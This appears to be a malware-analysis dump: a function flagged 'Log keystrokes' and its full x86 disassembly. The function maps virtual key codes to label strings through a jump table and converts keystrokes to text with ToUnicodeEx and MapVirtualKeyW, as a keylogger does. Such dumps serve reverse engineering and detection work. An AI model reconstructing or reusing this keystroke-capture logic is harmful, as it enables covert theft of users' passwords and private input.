Function at 0x445bac
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x418], ebx
mov dword [ebp - 0x414], ebx
mov esi, ecx
lea edi, [ebp - 0x106]
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 4], dx
mov word [ebp - 2], ax
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x44661b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00405024
mov byte [ebp - 6], 0
lea eax, [ebp - 0x310]
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.00403460
movzx eax, word [ebp - 2]
add eax, 0xfffffff8
cmp eax, 0xf3
ja case.0x445c27.10
movzx eax, byte [eax + 0x445c2e]
jmp dword [eax*4 + 0x445d22]
mov eax, esi
mov edx, 0x446630
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44664c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446668
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446684
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466a0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466b0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466c8
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466e4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466ec
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466f4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4466fc
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446704
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44670c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446714
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44671c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446724
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44672c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446734
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446750
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446764
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44677c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446790
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4467a4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4467bc
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4467d4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4467ec
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446808
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446810
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44682c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44683c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446850
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446868
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x44688c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4468a8
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4468c0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4468e0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4468f0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446900
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446910
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446920
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446930
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446940
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446950
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446960
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446970
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446980
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446990
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469a0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469b0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469c0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469d0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469e0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x4469f0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a00
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a10
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a20
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a30
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a40
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a50
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a60
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a70
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a84
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446a98
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446ab0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446ac4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446ad8
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446af4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446b14
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446b30
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446b50
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446b6c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446b8c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446bb0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446bd8
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446bec
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c0c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c28
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c44
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c58
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c6c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446c84
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446ca4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446cc4
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446ce0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d00
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d1c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d3c
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d50
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d74
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446d90
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446db0
call fcn.00405060
jmp case.0x445c27.10
mov eax, esi
mov edx, 0x446dd0
call fcn.00405060
call fcn.00445b70
mov byte [ebp - 5], al
push edi
push 0
push pe_nt_image_headers32
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x106]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 2]
push eax
call sub.user32.dll_ToUnicodeEx
mov ebx, eax
test ebx, ebx
jle 0x446578
push esi
push edi
mov esi, 0x45554c
lea edi, [ebp - 0x210]
mov ecx, 0x42
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov eax, dword [esi]
call fcn.004051b8
test eax, eax
jne 0x446538
mov eax, esi
lea edx, [ebp - 0x310]
mov ecx, 0x80
call fcn.0040517c
cmp byte [ebp - 5], 0
jne 0x44651e
lea edx, [ebp - 0x414]
mov eax, dword [esi]
call fcn.00445a78
mov edx, dword [ebp - 0x414]
mov eax, esi
call fcn.00405060
jmp 0x446538
lea edx, [ebp - 0x418]
mov eax, dword [esi]
call fcn.00445af4
mov edx, dword [ebp - 0x418]
mov eax, esi
call fcn.00405060
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x446565
push edi
push 0
push pe_nt_image_headers32
lea edx, [ebp - 0x310]
push edx
lea edx, [ebp - 0x208]
push edx
mov edx, dword [ebp - 0x20c]
push edx
push eax
call sub.user32.dll_ToUnicodeEx
mov eax, 0x45554c
xor ecx, ecx
mov edx, 0x108
call fcn.00403460
jmp 0x4465f0
test ebx, ebx
jge 0x4465f0
movzx eax, word [ebp - 2]
mov dword [0x45554c], eax
movzx eax, word [ebp - 4]
mov dword [0x455550], eax
push esi
push edi
lea esi, [ebp - 0x106]
mov edi, 0x455554
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x410]
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.00403460
push 1
push 0x6e
call sub.user32.dll_MapVirtualKeyW
test ebx, ebx
jge 0x4465f0
push edi
push 0
push pe_nt_image_headers32
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x410]
push eax
push 1
push 0x6e
call sub.user32.dll_MapVirtualKeyW
push eax
push 0x6e
call sub.user32.dll_ToUnicodeEx
mov ebx, eax
test ebx, ebx
jl 0x4465c3
cmp byte [ebp - 6], 1
jne 0x4465fd
mov eax, esi
call fcn.00405024
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x446622
lea eax, [ebp - 0x418]
mov edx, 2
call fcn.0040503c
ret